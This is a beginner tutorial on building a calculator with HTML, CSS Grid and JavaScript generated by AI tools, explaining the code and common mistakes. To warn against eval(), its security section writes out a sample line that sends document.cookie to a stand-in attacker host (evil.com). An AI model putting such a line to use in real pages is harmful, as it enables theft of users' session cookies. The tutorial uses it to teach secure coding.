Build a Calculator with AI: Your First Interactive Project

A calculator is the perfect first interactive project — every button does something, every click triggers logic, and the whole layout is a CSS Grid lesson in disguise. You'll build one from scratch with AI writing the code, and actually understand what it generated.

TL;DR

You'll build a working calculator using HTML, CSS Grid, and vanilla JavaScript — all generated by AI. One prompt gets you the skeleton. This tutorial walks through what every part does, what your AI probably got wrong (hint: eval()), and how to fix it. No frameworks, no backend. About an hour start to finish.

Why Build This?

A calculator sounds simple. It is simple. That's why it's perfect.

Unlike a static portfolio page or a landing page that just sits there looking pretty, a calculator responds to you. Press a button, something happens on screen. Press another, the display updates. Hit equals, math happens. Every single interaction teaches you something real about how web apps work:

  • CSS Grid: The calculator layout is a 4-column grid — the cleanest possible introduction to CSS Grid, which you'll use for dashboards, galleries, and every serious layout you build
  • DOM manipulation: When you press "7", JavaScript finds the display element and changes its text content. That's DOM manipulation — the foundation of every interactive website
  • Event handling: Every button has a click handler. Understanding event listeners is understanding how users interact with anything on the web
  • Logic and state: The calculator needs to remember what number you're typing, what operator you picked, and what the previous number was. That's state management — the same concept React, Vue, and every framework is built around

Plus, it's a project you can actually show someone. "I built a calculator" lands differently than "I made a webpage." It's interactive. It works. People can use it.

And here's the thing most tutorials won't tell you: AI gets calculators wrong in predictable ways. Almost every AI tool will use eval() to handle the math, which is a security problem. It won't add keyboard support. It won't handle edge cases like dividing by zero or typing multiple decimal points. Learning to catch these mistakes is the real skill.

What You'll Need

Just one thing: an AI coding tool. Pick whichever you're comfortable with:

  • Cursor — VS Code fork with AI built in. Great for beginners.
  • Windsurf — Another AI-powered editor. Similar workflow.
  • Claude Code — Terminal-based. No GUI editor needed.

That's it. No npm installs. No frameworks. No build tools. No backend server. You're making three files: index.html, styles.css, and calculator.js. Open the HTML file in your browser and it works.

If you've already built a portfolio or landing page, you know the workflow. If this is your very first project, that's fine too — a calculator is a perfectly valid starting point.

Step 1: The Prompt

Here's what to tell your AI. Don't just say "build a calculator" — that'll get you a bare-bones mess. Be specific about what you want:

AI Prompt

"Build a calculator in a single HTML file with embedded CSS and JavaScript. Requirements:

Layout: Use CSS Grid. 4-column grid for buttons. Display at the top showing current input and previous operation. Dark theme with rounded buttons.

Buttons: 0-9 digits, decimal point, operators (+, -, ×, ÷), equals, clear (C), backspace (⌫), and a +/- toggle.

Logic: Do NOT use eval(). Build a proper calculation function that takes two numbers and an operator. Handle: division by zero (show 'Error'), multiple decimal points (prevent them), chained operations (5 + 3 + 2 should work), and the display should show the previous operation above the current number.

Make it look polished — like an actual app, not a tutorial demo."

Why "do NOT use eval()"? If you don't specify this, 90%+ of AI tools will use eval() to calculate results. It works, but it's a security nightmare — eval() executes any JavaScript code, not just math. We'll cover this in detail in the "What AI Gets Wrong" section.

Let's break down why this prompt works:

  • "Single HTML file with embedded CSS and JavaScript" — keeps things simple for a first project. No managing multiple files.
  • "CSS Grid, 4-column grid" — tells AI exactly what layout system to use. Without this, it might use flexbox or even tables.
  • "Do NOT use eval()" — the most important constraint. Forces AI to write proper math logic.
  • "Handle division by zero, multiple decimal points" — forces edge case handling that AI usually skips.
  • "Previous operation above the current number" — gives it a real calculator feel, like the iPhone calculator.

Step 2: What AI Generated

Here's what a good AI response looks like, broken into the three parts: HTML structure, CSS styling, and JavaScript logic. Your output will look different — that's fine. The patterns are what matter.

The HTML Structure

<!-- The calculator container -->
<div class="calculator">
  <!-- Display area: shows previous operation and current number -->
  <div class="display">
    <div class="previous-operation" id="previousOperation"></div>
    <div class="current-display" id="currentDisplay">0</div>
  </div>

  <!-- Button grid: 4 columns -->
  <div class="buttons">
    <button class="btn btn-function" data-action="clear">C</button>
    <button class="btn btn-function" data-action="toggle-sign">+/-</button>
    <button class="btn btn-function" data-action="backspace">⌫</button>
    <button class="btn btn-operator" data-action="operator" data-value="÷">÷</button>

    <button class="btn btn-number" data-action="number" data-value="7">7</button>
    <button class="btn btn-number" data-action="number" data-value="8">8</button>
    <button class="btn btn-number" data-action="number" data-value="9">9</button>
    <button class="btn btn-operator" data-action="operator" data-value="×">×</button>

    <button class="btn btn-number" data-action="number" data-value="4">4</button>
    <button class="btn btn-number" data-action="number" data-value="5">5</button>
    <button class="btn btn-number" data-action="number" data-value="6">6</button>
    <button class="btn btn-operator" data-action="operator" data-value="-">−</button>

    <button class="btn btn-number" data-action="number" data-value="1">1</button>
    <button class="btn btn-number" data-action="number" data-value="2">2</button>
    <button class="btn btn-number" data-action="number" data-value="3">3</button>
    <button class="btn btn-operator" data-action="operator" data-value="+">+</button>

    <button class="btn btn-number btn-wide" data-action="number" data-value="0">0</button>
    <button class="btn btn-number" data-action="decimal">.</button>
    <button class="btn btn-equals" data-action="equals">=</button>
  </div>
</div>

Notice the pattern here: every button has data-action and data-value attributes. The JavaScript doesn't care what the button looks like — it reads these data attributes to decide what to do. That's a clean separation between presentation (what you see) and logic (what happens).

The zero button has a btn-wide class because on a real calculator, the 0 key spans two columns. CSS Grid makes this trivial.

The CSS (Grid Layout)

/* The calculator container — centered on screen */
.calculator {
  width: 320px;
  margin: 2rem auto;
  background: #1a1a2e;
  border-radius: 16px;
  overflow: hidden;
  box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);
}

/* Display area */
.display {
  padding: 1.5rem;
  text-align: right;
  background: #16213e;
  min-height: 100px;
}

.previous-operation {
  font-size: 0.875rem;
  color: #8892b0;
  min-height: 1.25rem;
  margin-bottom: 0.5rem;
}

.current-display {
  font-size: 2.5rem;
  font-weight: 700;
  color: #e6f1ff;
  font-family: 'JetBrains Mono', monospace;
  word-break: break-all;
}

/* The button grid — THIS is the CSS Grid lesson */
.buttons {
  display: grid;
  grid-template-columns: repeat(4, 1fr);  /* 4 equal columns */
  gap: 1px;                                /* Thin lines between buttons */
  background: #0a0a1a;                     /* Gap color = dark line */
}

/* Base button style */
.btn {
  padding: 1.25rem;
  font-size: 1.25rem;
  font-family: 'Inter', sans-serif;
  border: none;
  cursor: pointer;
  transition: background 0.15s ease;
}

/* Number buttons: dark background */
.btn-number {
  background: #1a1a2e;
  color: #e6f1ff;
}

.btn-number:hover {
  background: #2a2a4e;
}

/* Function buttons (C, +/-, ⌫): slightly different shade */
.btn-function {
  background: #2d2d5e;
  color: #a0a0d0;
}

.btn-function:hover {
  background: #3d3d7e;
}

/* Operator buttons: accent color */
.btn-operator {
  background: #e07c24;
  color: #fff;
}

.btn-operator:hover {
  background: #f09040;
}

/* Equals button: distinct accent */
.btn-equals {
  background: #4ecca3;
  color: #0a0a1a;
  font-weight: 700;
}

.btn-equals:hover {
  background: #6ee6bb;
}

/* Zero button spans 2 columns */
.btn-wide {
  grid-column: span 2;    /* This is all it takes to span columns in Grid */
}

The key line is grid-template-columns: repeat(4, 1fr). That creates 4 equal-width columns. 1fr means "one fraction of the available space." Every button automatically fills one cell. The zero button uses grid-column: span 2 to stretch across two cells. That's CSS Grid in two lines.

Compare this to building the same layout with Flexbox — you'd need wrapper divs for each row, percentage-based widths, and manual spacing. Grid handles the entire 2D layout with grid-template-columns and nothing else.

The JavaScript Logic

// Calculator state — these variables track everything
let currentValue = '0'    // What's shown on screen right now
let previousValue = ''    // The first number (before the operator)
let operator = null       // Which operator was pressed (+, -, ×, ÷)
let shouldResetDisplay = false  // After pressing =, next digit starts fresh

// Grab DOM elements
const currentDisplay = document.getElementById('currentDisplay')
const previousOperation = document.getElementById('previousOperation')

// ===== THE SAFE CALCULATE FUNCTION (no eval!) =====
function calculate(a, op, b) {
  const numA = parseFloat(a)
  const numB = parseFloat(b)

  switch (op) {
    case '+': return numA + numB
    case '-': return numA - numB
    case '×': return numA * numB
    case '÷':
      if (numB === 0) return 'Error'  // Division by zero
      return numA / numB
    default: return b
  }
}

// Clean up floating point: 0.1 + 0.2 = 0.30000000000000004 → 0.3
function cleanFloat(num) {
  if (typeof num === 'string') return num  // 'Error' stays as string
  return parseFloat(num.toFixed(12))
}

// Update the display
function updateDisplay() {
  currentDisplay.textContent = currentValue
  if (operator && previousValue) {
    previousOperation.textContent = `${previousValue} ${operator}`
  } else {
    previousOperation.textContent = ''
  }
}

// ===== HANDLE BUTTON CLICKS =====

// Number buttons (0-9)
function handleNumber(value) {
  if (shouldResetDisplay) {
    currentValue = value
    shouldResetDisplay = false
  } else if (currentValue === '0' && value !== '0') {
    // Replace leading zero: "0" + "5" → "5", not "05"
    currentValue = value
  } else if (currentValue === '0' && value === '0') {
    // Don't allow "000000"
    return
  } else {
    // Cap display length to prevent overflow
    if (currentValue.length >= 15) return
    currentValue += value
  }
  updateDisplay()
}

// Decimal point
function handleDecimal() {
  if (shouldResetDisplay) {
    currentValue = '0.'
    shouldResetDisplay = false
    updateDisplay()
    return
  }
  // Prevent multiple decimals: "3.14." is not valid
  if (currentValue.includes('.')) return
  currentValue += '.'
  updateDisplay()
}

// Operator buttons (+, -, ×, ÷)
function handleOperator(op) {
  // If we already have a pending operation, calculate it first
  // This enables chaining: 5 + 3 + 2
  if (operator && previousValue && !shouldResetDisplay) {
    const result = calculate(previousValue, operator, currentValue)
    currentValue = String(cleanFloat(result))
    if (currentValue === 'Error') {
      previousValue = ''
      operator = null
      updateDisplay()
      return
    }
  }
  previousValue = currentValue
  operator = op
  shouldResetDisplay = true
  updateDisplay()
}

// Equals button
function handleEquals() {
  if (!operator || !previousValue) return
  const result = calculate(previousValue, operator, currentValue)
  previousOperation.textContent = `${previousValue} ${operator} ${currentValue} =`
  currentValue = String(cleanFloat(result))
  previousValue = ''
  operator = null
  shouldResetDisplay = true
  currentDisplay.textContent = currentValue
}

// Clear (C) — reset everything
function handleClear() {
  currentValue = '0'
  previousValue = ''
  operator = null
  shouldResetDisplay = false
  updateDisplay()
}

// Backspace (⌫) — delete last character
function handleBackspace() {
  if (shouldResetDisplay || currentValue === 'Error') {
    handleClear()
    return
  }
  currentValue = currentValue.slice(0, -1) || '0'
  updateDisplay()
}

// Toggle sign (+/-)
function handleToggleSign() {
  if (currentValue === '0' || currentValue === 'Error') return
  currentValue = currentValue.startsWith('-')
    ? currentValue.slice(1)
    : '-' + currentValue
  updateDisplay()
}

// ===== EVENT DELEGATION =====
// One click handler on the parent — not one per button
document.querySelector('.buttons').addEventListener('click', (e) => {
  const btn = e.target.closest('.btn')
  if (!btn) return

  const action = btn.dataset.action
  const value = btn.dataset.value

  switch (action) {
    case 'number':      handleNumber(value); break
    case 'decimal':     handleDecimal(); break
    case 'operator':    handleOperator(value); break
    case 'equals':      handleEquals(); break
    case 'clear':       handleClear(); break
    case 'backspace':   handleBackspace(); break
    case 'toggle-sign': handleToggleSign(); break
  }
})

// ===== KEYBOARD SUPPORT =====
// Most AI-generated calculators skip this entirely
document.addEventListener('keydown', (e) => {
  if (e.key >= '0' && e.key <= '9') handleNumber(e.key)
  else if (e.key === '.') handleDecimal()
  else if (e.key === '+') handleOperator('+')
  else if (e.key === '-') handleOperator('-')
  else if (e.key === '*') handleOperator('×')
  else if (e.key === '/') { e.preventDefault(); handleOperator('÷') }
  else if (e.key === 'Enter' || e.key === '=') handleEquals()
  else if (e.key === 'Backspace') handleBackspace()
  else if (e.key === 'Escape') handleClear()
})

// Initial display
updateDisplay()

Step 3: Understanding the Code

Let's break down what's actually happening here. You don't need to memorize this — but you do need to understand it well enough to know what's going wrong when something breaks.

The State Variables

Four variables run the entire calculator:

let currentValue = '0'           // What you see on screen
let previousValue = ''           // The number before the operator
let operator = null              // +, -, ×, or ÷
let shouldResetDisplay = false   // Should next digit start fresh?

Notice currentValue is a string, not a number. That's because you need to build it character by character ("1" → "12" → "123") before converting it to a number for math. This trips people up — you're doing string operations to build the number, then math operations to calculate with it.

The shouldResetDisplay flag is subtle but important. After you press an operator or equals, the next digit you press should start a new number, not append to the old one. Without this flag, pressing "5 + 3" would show "53" instead of starting fresh with "3".

How Buttons Connect to Functions

Every button has a data-action attribute. When any button is clicked, the event bubbles up to the parent .buttons container (this is event delegation — one listener instead of 19 separate ones). The listener reads the data-action and calls the right function:

// Button says data-action="number" data-value="7"
// Click handler reads those attributes
// Calls handleNumber('7')
// handleNumber appends '7' to currentValue
// updateDisplay() shows the new value

This is the same pattern used in every interactive app. User action → read what happened → update state → update the screen. In React, this would be setState triggering a re-render. Here, you're doing it manually with updateDisplay().

The Calculate Function (Not eval!)

The core math is a simple switch statement. No magic:

function calculate(a, op, b) {
  const numA = parseFloat(a)
  const numB = parseFloat(b)
  switch (op) {
    case '+': return numA + numB
    case '-': return numA - numB
    case '×': return numA * numB
    case '÷':
      if (numB === 0) return 'Error'
      return numA / numB
  }
}

That's it. Convert strings to numbers, do the math, return the result. The division case checks for zero first. This is readable, safe, and does exactly what you'd expect. Compare this to eval("5+3") — which would also work, but can execute any JavaScript code, not just math.

The Chaining Logic

Real calculators let you chain operations: 5 + 3 + 2 = 10. The trick is in handleOperator(): if there's already a pending operation when you press a new operator, it calculates the pending one first. So "5 + 3 ×" first computes 5 + 3 = 8, then stores 8 as the previous value for the multiplication.

Floating-Point Cleanup

JavaScript has a famous quirk: 0.1 + 0.2 = 0.30000000000000004. This is a floating-point precision issue that exists in nearly every programming language. The cleanFloat() function handles it by rounding to 12 decimal places — enough precision for any practical calculation, but cutting off the garbage digits.

Step 4: Common Issues

Here's what's going to go wrong when you build this. Not if — when. These are the issues that come up for nearly every calculator project.

eval() Security Risks

If your AI used eval() despite your prompt saying not to, or if you didn't include that constraint, here's why it matters:

// What eval() does with normal input:
eval("5 + 3")  // Returns 8. Seems fine.

// What eval() does with malicious input:
eval("alert('hacked')")  // Executes JavaScript!
eval("document.cookie")  // Exposes cookies!
eval("fetch('https://evil.com?data=' + document.cookie)")
// Sends your cookies to an attacker!

For a calculator that only uses on-screen buttons, an attacker can't type malicious code directly. But if you ever add a text input field, or if other code passes strings to your calculate function, eval() becomes a real vulnerability. The habit of using eval() is the problem — it'll follow you into projects where it's genuinely dangerous.

Fix it: Replace eval(expression) with the calculate(a, op, b) function shown above. It does the same math without the security hole. If your AI generated eval-based code, paste it back and say: "Replace eval() with a switch-based calculate function that handles each operator explicitly."

Multiple Decimal Points

"3.14.15" isn't a number. Without a guard, your calculator will happily build that string:

// BAD: no guard
function handleDecimal() {
  currentValue += '.'  // Can produce "3.14."
}

// GOOD: check first
function handleDecimal() {
  if (currentValue.includes('.')) return  // Already has a decimal
  currentValue += '.'
}

Division by Zero

JavaScript doesn't crash on division by zero — it returns Infinity (or -Infinity, or NaN for 0/0). None of those are useful to a user. Handle it explicitly:

case '÷':
  if (numB === 0) return 'Error'  // User sees "Error"
  return numA / numB

Display Overflow

What happens when someone types a 30-digit number? Or when a calculation returns 15 decimal places? Without limits, the text overflows the display. Two fixes:

  • Cap input length: if (currentValue.length >= 15) return in handleNumber()
  • Auto-shrink text: Reduce font size when the display content gets long (check currentDisplay.textContent.length and adjust fontSize)

Leading Zeros

Without handling, pressing 0 → 0 → 5 gives "005" instead of "5". The fix is in handleNumber(): if the current value is "0" and the new digit isn't "0", replace instead of appending.

What AI Gets Wrong

Every AI tool has predictable blind spots with calculators. Here's what to watch for and how to fix it.

Using eval() Instead of Proper Parsing

This is the #1 issue. About 9 out of 10 AI-generated calculators use eval() because it's the shortest path to working code. The AI optimizes for "fewest lines" not "best practice." If you see eval() anywhere in the output, tell your AI: "Replace eval() with a calculate function using a switch statement for each operator."

No Keyboard Support

AI almost never adds keyboard event listeners unless you ask. But a calculator without keyboard support is frustrating to use — especially if you're used to the number pad. The keyboard handler in our code maps number keys, operators (* → ×, / → ÷), Enter → equals, Escape → clear, and Backspace → delete.

Fix Prompt

"Add keyboard support to the calculator. Map: 0-9 for numbers, + - * / for operators, Enter and = for equals, Escape for clear, Backspace for delete, and period for decimal."

No Error States

AI-generated calculators usually show "Infinity" or "NaN" when things go wrong. Users don't know what those mean. A good calculator shows "Error" and lets you press C to reset. Check for these cases:

  • Division by zero → "Error"
  • NaN result → "Error"
  • Infinity result → "Error"
  • After "Error", any keypress should clear and start fresh

No Chaining Support

Basic AI calculators handle "5 + 3 =" but break on "5 + 3 + 2 =". They don't calculate the intermediate result when you press the second operator. The fix is in handleOperator(): check if there's already a pending operation and resolve it before storing the new one.

Operator Stacking

What happens if someone presses "5 + - ×"? Buggy calculators try to apply all three operators. A good one replaces the previous operator with the new one. If pressing an operator while shouldResetDisplay is true, just update the operator variable.

Level Up

Got the basic calculator working? Here are progressively harder challenges to extend it. Each one teaches something new:

Add Keyboard Support (If You Haven't)

AI Prompt

"Add full keyboard support. Map number keys, operators (* for multiply, / for divide), Enter for equals, Escape for clear, Backspace for delete. Prevent default on / so the browser doesn't trigger search."

What you'll learn: The keydown event, key codes, preventDefault(), and how keyboard events differ from click events.

Scientific Functions

AI Prompt

"Add a row of scientific function buttons: √ (square root), x² (square), % (percentage), and π (insert pi value). Make the grid 5 rows instead of 4."

What you'll learn: Math.sqrt(), Math.PI, modifying CSS Grid to accommodate new rows, and how unary operations (single-number operations like square root) differ from binary ones (two-number operations like addition).

Calculation History

AI Prompt

"Add a calculation history panel that slides in from the right. Show each past calculation (e.g., '5 + 3 = 8'). Clicking a past result loads it as the current number. Store history in localStorage."

What you'll learn: Array management, localStorage for persistence, CSS transitions for the sliding panel, and rendering dynamic lists — the same patterns used in your to-do app.

Theme Switcher

AI Prompt

"Add a theme switcher button that toggles between dark mode and light mode. Use CSS custom properties (variables) for all colors. Save the preference to localStorage."

What you'll learn: CSS custom properties (--variable-name), toggling classes on the document, localStorage for user preferences, and how theming works in real apps.

Percentage Calculations

AI Prompt

"Add a percentage button that works like a real calculator: '200 + 10%' should equal 220 (10% of 200 added to 200). Not just dividing by 100."

What you'll learn: Context-dependent operations (the % button behaves differently depending on whether there's a pending operation), and how real-world calculator logic is more complex than it seems.

What to Learn Next

Building this calculator used four fundamental concepts. If any of them felt fuzzy, these deep dives will make them click:

And when you're ready for your next project, the to-do app tutorial takes the event handling and DOM manipulation you learned here and adds state management and data persistence with localStorage.

Frequently Asked Questions

Is eval() safe to use in a JavaScript calculator?

No. eval() executes any arbitrary JavaScript code, which is a major security risk — especially if user input is involved. For a local calculator project it technically works, but it's a bad habit. A proper calculator should parse and evaluate mathematical expressions without eval(). AI tools often generate eval()-based calculators because it's fewer lines of code, but you should always replace it with a safe expression parser using a switch statement or similar approach.

Why use CSS Grid instead of Flexbox for a calculator?

CSS Grid is designed for two-dimensional layouts — rows AND columns simultaneously. A calculator is a perfect grid: 4 columns of buttons arranged in rows. While you could hack it with Flexbox (which handles one dimension at a time), Grid gives you precise control over button placement, spanning buttons across columns (like the zero button), and consistent sizing. It's the right tool for this job.

How do I handle decimal points in a JavaScript calculator?

You need to prevent multiple decimal points in one number. Before appending a decimal, check if the current value already contains one with currentValue.includes('.'). Also watch for floating-point precision issues — 0.1 + 0.2 returns 0.30000000000000004 in JavaScript. Use parseFloat(result.toFixed(12)) to clean up trailing precision errors.

What should a calculator show when you divide by zero?

JavaScript returns Infinity for division by zero, which isn't helpful to users. A good calculator should catch this case and display "Error" instead. Check if the divisor is zero before performing the calculation. Also handle 0/0, which JavaScript returns as NaN (Not a Number). After displaying "Error," the next keypress should clear the display and let the user start fresh.

Can I build this calculator with just AI and no coding knowledge?

Yes — that's exactly what this tutorial is for. You'll use an AI coding tool (Cursor, Windsurf, or Claude Code) to generate all the HTML, CSS, and JavaScript. But this tutorial also explains what each part does, so you understand the code your AI wrote. Understanding the output is what separates a vibe coder who ships reliable software from one who gets stuck at the first bug.